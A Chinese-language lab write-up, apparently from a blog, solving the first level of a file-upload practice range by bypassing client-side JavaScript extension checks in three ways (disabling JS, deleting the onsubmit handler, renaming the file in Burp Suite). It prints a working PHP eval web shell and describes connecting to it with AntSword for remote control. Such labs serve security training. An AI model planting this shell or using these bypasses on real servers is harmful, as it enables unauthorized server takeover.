前言
学习内容:前端JavaScript验证
这个靶场唯一的一节前端验证的关卡,后面均是后端验证(即:需要抓包分析)
需求分析
打开靶场第一关,要求上传一张图片,但是我们需要上传木马文件,进而获取服务器权限。

靶场测试
当上传不符合要求的文件时,会提示报错信息,要求上传图片文件。

代码审计
按F12查看网页源代码
- 在上传按钮处右键单击
- 在弹出的菜单中选择检查选项
- 在
F12的查看器处可以看到对应的代码信息

将上图中红框中的代码复制出来,进行分析。
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:</p><p>
<input class="input_file" type="file" name="upload_file">
<input class="button" type="submit" name="submit" value="上传">
</p>
</form>
在代码的第一行的结尾处,可以看到,当进行表单提交时(onsubmit),会执行函数checkFile()。
切换到调试器,搜索一下,看一下可不可以找到checkFile()函数的定义。

单击匹配到的checkFile()函数,发现可以找到对应的源码定义。

checkFile()源码分析
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
代码前五行,用于检查是否上传文件。
var allow_ext = ".jpg|.png|.gif";定义了允许上传的文件类型
后面的代码是判断上传的文件的后缀名是否与allow_ext定义的后缀信息是否匹配
- 匹配:允许上传
- 不匹配:不允许上传,返回
False
漏洞利用
方式一:禁用JS
按F12打开调试器,找到设置选项

将禁用JavaScript选项勾选上,默认有勾选。

上传木马
新建一个php文件,写入一下内容:
// 字符串 x 是密码
<?php @eval($_POST['x']); ?>

将木马文件进行上传

右键单击上传的图片,然后选择新建标签页打开图像

获取木马文件的所在路径:http://127.0.0.1/upload/upload/muma.php

连接木马
打开蚁剑,连接木马文件。右键单击空白处->添加数据

设置URL地址和密码

设置完成后,单击左上角的添加按钮即可

双击即可连接远程服务器

方法二:删除HTML代码
按F12找到form标签中的onsubmit="return checkFile()",将这句代码删除掉

删除后的效果如下图所示:

上传木马文件

上传成功,查看木马网页所在位置

连接木马实现远程登录服务器

方式三:抓包修改请求信息
将上面新建的一句话木马文件的后缀名改为.jpg(即将muma.php改为muma.jpg),内容保持不变。

打开Burp suite,抓取上传信息


将上传文件的后缀名进行修改

将muma.jpg改为muma.php,修改完成后,单击Forward按钮进行发送。(需要点击两次Forward)

返回浏览器,看到文件成功上传。
PS:之所以修改后可以成功上传,是因为本关采用的是前端验证,后端没有进行任何的验证。

右键单击图片,查看木马文件所在的路径

查看木马文件所在路径:http://127.0.0.1/upload/upload/muma.php

使用蚁剑进行连接,过程与上面一致,不过多赘述,这里脂肪最后的效果图。

无情的广告时间
哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!
1078

被折叠的 条评论
为什么被折叠?



